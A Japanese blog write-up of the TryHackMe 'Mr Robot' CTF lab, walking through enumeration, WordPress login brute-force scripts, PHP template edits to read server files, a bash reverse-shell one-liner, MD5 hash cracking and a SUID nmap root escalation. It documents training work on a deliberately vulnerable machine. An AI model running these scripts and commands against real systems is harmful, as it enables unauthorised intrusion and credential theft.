好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

TryHackMe Mr Robot CTF writeup

TryHackMe の Mr Robot CTF をやってみました。思ったより手こずったのと、新しく学んだテクニックやツールもあったので残しておきます。
常設CTFなのでflagそのものは記載していませんが、やった内容をそのまま書いているので再現可能かと思います。

tryhackme.com

事前準備

予めTHMとVPN接続しておきます
問題の Start Machine からマシンを起動し、暫く待ちます。

$ curl http://MACHINE_IP

が通るようになったら次に進みます。ちなみに、こんなかっこいいサイトが現れます。凝ってる。

f:id:kusuwada:20220127144626p:plain

Key1

Mr Robot というタイトルのマシンなので、案内されたサイトの /robots.txt を確認してみます。

User-agent: *
fsocity.dic
key-1-of-3.txt

/key-1-of-3.txt にアクセスすると、最初のkeyが得られます。

Key2

他にどんなpathで構成されているのか調べてみます。今回はTHMの他のroomで最近履修したばかりの gobuster をkaliにinstallして使ってみました。ワードリストはcommonのやつを使います。

┌──(kali㉿kali)-[~/ctf]
└─$ gobuster dir -u http://10.10.187.230 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.187.230
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/20 01:17:10 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 213]
/.htaccess            (Status: 403) [Size: 218]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.187.230/0/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.187.230/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/atom/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.187.230/audio/]  
/blog                 (Status: 301) [Size: 234] [--> http://10.10.187.230/blog/]   
/css                  (Status: 301) [Size: 233] [--> http://10.10.187.230/css/]    
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.187.230/wp-admin/] 
/favicon.ico          (Status: 200) [Size: 0]                                      
/feed                 (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/]     
/images               (Status: 301) [Size: 236] [--> http://10.10.187.230/images/] 
/image                (Status: 301) [Size: 0] [--> http://10.10.187.230/image/]    
/Image                (Status: 301) [Size: 0] [--> http://10.10.187.230/Image/]    
/index.html           (Status: 200) [Size: 1077]                                   
/index.php            (Status: 301) [Size: 0] [--> http://10.10.187.230/]          
/intro                (Status: 200) [Size: 516314]                                 
/js                   (Status: 301) [Size: 232] [--> http://10.10.187.230/js/]     
/license              (Status: 200) [Size: 309]                                    
/login                (Status: 302) [Size: 0] [--> http://10.10.187.230/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.187.230/]            
/phpmyadmin           (Status: 403) [Size: 94]                                       
/readme               (Status: 200) [Size: 64]                                       
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/rdf/]   
/robots               (Status: 200) [Size: 41]                                       
/robots.txt           (Status: 200) [Size: 41]                                       
/rss                  (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/]       
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/]       
/sitemap              (Status: 200) [Size: 0]                                        
/sitemap.xml          (Status: 200) [Size: 0]                                        
/video                (Status: 301) [Size: 235] [--> http://10.10.187.230/video/]    
/wp-admin             (Status: 301) [Size: 238] [--> http://10.10.187.230/wp-admin/] 
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.187.230/wp-content/]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.187.230/wp-includes/]
/wp-cron              (Status: 200) [Size: 0]                                          
/wp-config            (Status: 200) [Size: 0]                                          
/wp-links-opml        (Status: 200) [Size: 227]                                        
/wp-load              (Status: 200) [Size: 0]                                          
/wp-login             (Status: 200) [Size: 2613]                                       
/wp-mail              (Status: 500) [Size: 3064]                                       
/wp-settings          (Status: 500) [Size: 0]                                          
/wp-signup            (Status: 302) [Size: 0] [--> http://10.10.187.230/wp-login.php?action=register]
/xmlrpc               (Status: 405) [Size: 42]                                                       
/xmlrpc.php           (Status: 405) [Size: 42]                                                       
                                                                                                     
===============================================================
2022/01/20 01:54:06 Finished
===============================================================

どうやらWordPressで構築されているようで、いくつかのページに行こうとするとWordPressのログインページに飛ばされます。

f:id:kusuwada:20220127144837p:plain

このページ、UsernameとPasswordを入れてログインしようとすると、UsernameがDBになかった場合に Invalid username. と返してくれます。親切!

そういえば先程の robot.txt サイトより、wordlistっぽいものを入手しました(fsocity.dic)。
ぱっと見た感じ、行数がやたら多いけれど重複も多そうなので、入手したリストを sort uniq してユニークリストにしておきます。

この中にWordPress用のログインユーザーとパスワードがあることを期待しつつ、まずは先程の Invalid username. と返してくれる機能を利用してUsernameを割り出してみます。

import requests

host = '10.10.205.83'
url = 'http://' + host + '/wp-login.php'

def attack(s, url, user):
    payload = {'log': user, 'pwd': 'a', 'wp-submit': 'Log In'}
    res = s.post(url, data=payload)
    if 'Invalid username.' in res.text:
        return False
    return True
    
with open('unique.txt', 'r') as f:
    wordlist = f.readlines()

s = requests.Session()
s.get(url)

for w in wordlist:
    w = w.strip()
    if attack(s, url, w):
        print(w)
        break
    else:
        continue

実行結果

$ python attack.py 
elliot

お、出ました。同様にして、Passwordもブルートフォースしてみます。

import requests

host = '10.10.205.83'
url = 'http://' + host + '/wp-login.php'

def attack(s, url, pwd):
    payload = {'log': 'elliot', 'pwd': pwd, 'wp-submit': 'Log In'}
    res = s.post(url, data=payload)
    if 'ERROR' in res.text:
        return False
    return True
    
with open('unique.txt', 'r') as f:
    wordlist = f.readlines()

s = requests.Session()
s.get(url)

for w in wordlist:
    w = w.strip()
    if attack(s, url, w):
        print(w)
        break
    else:
        continue

実行結果

$ python attack.py 
ER28-****

やった!当たりました!(passwordの最後は伏せ字にしてあります。)
この情報でWordPressの管理画面にログインしてみます。

f:id:kusuwada:20220127145008p:plain

Dashboardが表示されました。が、機能が多すぎてどこを見ていいかわからない…。
とりあえず色々つついて回って、ブログのタイトル部にXSSが有効、ページの書き換え機能がが使えそう、...etcを発見。
Appearance > Editor で、phpソースを書き換えられるやつが使い勝手が良さそうなので、これを使ってみることにしました。一番上の404.phpや、author-bio.phpなど使いやすそうなページが編集可能。

試しに 404.php を下記のように変更してみます。

<?php
$page = file_get_contents('/etc/passwd');
echo $page
?>

/404.phpにアクセスしてみると

f:id:kusuwada:20220127145140p:plain

これは使えそう。ではkey2を探してみます。以下、/404.phpを書き換え → 表示してみた結果。

<?php
foreach(glob('./*') as $file){
    if(is_file($file)){
        echo htmlspecialchars($file);
    }
}
?>

結果

./fsocity.dic./index.html./index.php./intro.webm./key-1-of-3.txt./license.bk./license.txt./readme.html./robots.txt./sitemap.xml./sitemap.xml.gz./wp-activate.php./wp-blog-header.php./wp-comments-post.php./wp-config.php./wp-cron.php./wp-links-opml.php./wp-load.php./wp-login.php./wp-mail.php./wp-settings.php./wp-signup.php./wp-trackback.php./xmlrpc.php./you-will-never-guess-this-file-name.txt

最後のファイルが気になる…。このファイルの中身を、/etc/passwdのときと同じ方法で取得してみると

hello there person who found me.

えー!そんだけー!?関係なさそう。
今度はdirectoryを探索してみます。

<?php
$dir = "/";
$arr = scandir($dir);
foreach ($arr as $value) {
    echo $value."<br>";
}

結果

.
..
bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz

$dir/home/ に変更して再度取得。

.
..
robot

お、robotがいます。この配下のファイルを見てみます。

<?php
foreach(glob('/home/robot/*') as $file){
    if(is_file($file)){
        echo htmlspecialchars($file);
    }
}
?>

結果

/home/robot/key-2-of-3.txt /home/robot/password.raw-md5

key-2-of-3.txtは開けず。password.raw-md5はこんな中身。

robot:c3fcd3d76192e4007dfb496cca67e13b

これはパスワードのmd5hashっぽい。
HashCrackのオンラインサービスでクラックしてもらいました。

f:id:kusuwada:20220127145440p:plain

robotのパスワードは abcdefghijklmnopqrstuvwxyz のようです。

どうも次は robot のユーザーに昇格するっぽいぞ。
このまま、phpコード改ざんで権限昇格とかできないかやってみたけれどできず。仕方がないので最終手段、リバースシェルを張ることに。自分の過去記事を見ながら。

tech.kusuwada.com

THM の Attack Boxを立てて、そのIP(このときは10.10.138.217)をリバースシェルの受け側に設定します。下記が編集後の404.php

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.138.217/8000 0>&1'");?>

AttackBox側で nc -nvlp 8000 して待っておき、/404.phpにアクセスするとAttackBox側に制御が飛んできました。

f:id:kusuwada:20220127145751p:plain

が、ここで su を実行しようとすると怒られてしまいます。

daemon@linux:/home/robot$ su robot
su robot
su: must be run from a terminal

調べてみると、こちらのページがヒット。

Spawning a TTY Shell

なるほど、ttyを与えられない状態でシェルをとってしまった状態なのか。ということで、ここで紹介されているttyシェルを起動するコマンド一覧から、一番上にあるやつを使ってみます。

daemon@linux:/home/robot$ python -c 'import pty; pty.spawn("/bin/sh")'
<pps/wordpress/htdocs$ python -c 'import pty; pty.sp                      awn("/bin/sh")'
$ su - robot
su - robot
Password: abcdefghijklmnopqrstuvwxyz

$ whoami
whoami
robot

おー!robotユーザーに昇格できたっぽい。
あとは目的のファイル /home/robot/key-2-of-3.txt を開くだけ。

ちなみに、Key3がわからずさまよっているときに、gobusterで出てきたとあるページを見てみると、そこに Wordpressのログイン用ユーザーとパスワードがbase64 encodeで書いてあった…。ブルートフォース必要なかったんや…。そしてヒントの "White coloured font" の使い道がいまいちわからないままであった。

Key3

3つ目のkeyのヒントは nmap。上記のshell上でnmapを使ってみたりしたけれども、特に進展なし。
ちょっとハマってしまったので一旦クールダウン。

nmap ctf root とかでググっていると、下記のページを発見。

Linux Privilege Escalation with Setuid and Nmap

なんと、nmap のinteractive機能を利用してrootに昇格できるケースがあるらしい。今回これが使えるか調べてみます。

$ find / -user root -perm -4000 -exec ls -la {} \; 2>&1 | grep -v 'Permission denied' | grep nmap
<4000 -exec ls -la {} \; 2>&1 | grep -v 'Permission denied' | grep nmap      
-rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap

見つかりました!使えそう。

$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !whoami
!whoami
root
waiting to reap child : No child processes
nmap> !sh
!sh
# 
# whoami
whoami
root

これでrootに昇格できました!あとは、権限不足で確認できていなかったディレクトリやファイルを見ていきます。

# cd /root
cd /root
# ls
ls
firstboot_done  key-3-of-3.txt
# cat key-3-of-3.txt
(...omit...)

f:id:kusuwada:20220127150225p:plain

/rootに3つめのkeyがおいてありました👍

感想

最初の問題とRoomのタイトルから、かなり低難易度の問題かと思ってたら全然そんなことなくてびっくりした。ちゃちゃっと終わらせる予定が数日かかってしまった。writeupも書くつもり無かったけど、メモしないと細切れの時間で取り組めないレベルだったのでメモついでにwriteupが完成してしまった。

特にkey3で使ったテクニックは、今回調べるまで全く知らなかったので面白かった。THM始めてからnmapや他のscanツールをよく使うようになったので、少し幅が広がった気がして楽しい。

まだまだTryHackMeは初心者だけど、THMはAttackboxが用意されているのでリバースシェルが気軽に張れてよかった。いつも環境を用意するのが面倒&IP晒したくないのでリバースシェルは極力やらないようにしているのだけど、環境が用意されているのはありがたい。